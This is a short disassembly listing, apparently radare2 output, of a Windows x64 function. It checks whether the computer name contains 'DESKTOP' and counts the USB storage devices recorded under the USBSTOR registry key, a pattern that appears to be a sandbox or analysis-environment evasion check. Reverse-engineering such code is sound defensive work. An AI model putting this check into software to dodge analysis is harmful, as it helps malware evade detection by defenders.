lea rcx, [rsp + 0x360]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea rcx, [rsp + 0x360]
call qword [sym.imp.USER32.dll_CharUpperW]
lea rdx, str.DESKTOP_
lea rcx, [rsp + 0x360]
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
jne 0x140001366
lea rax, [rsp + 0x60]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SYSTEMControlSet001EnumUSBSTOR
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x74]
mov qword [rsp + 0x58], rbx
xor r9d, r9d
mov qword [rsp + 0x50], rbx
xor r8d, r8d
mov qword [rsp + 0x48], rbx
xor edx, edx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
cmp dword [rsp + 0x74], 1
setae al
jmp 0x140001368
xor al, al
mov rcx, qword [rsp + 0x380]
xor rcx, rsp
call fcn.1400019a0
add rsp, 0x390
pop rbx
ret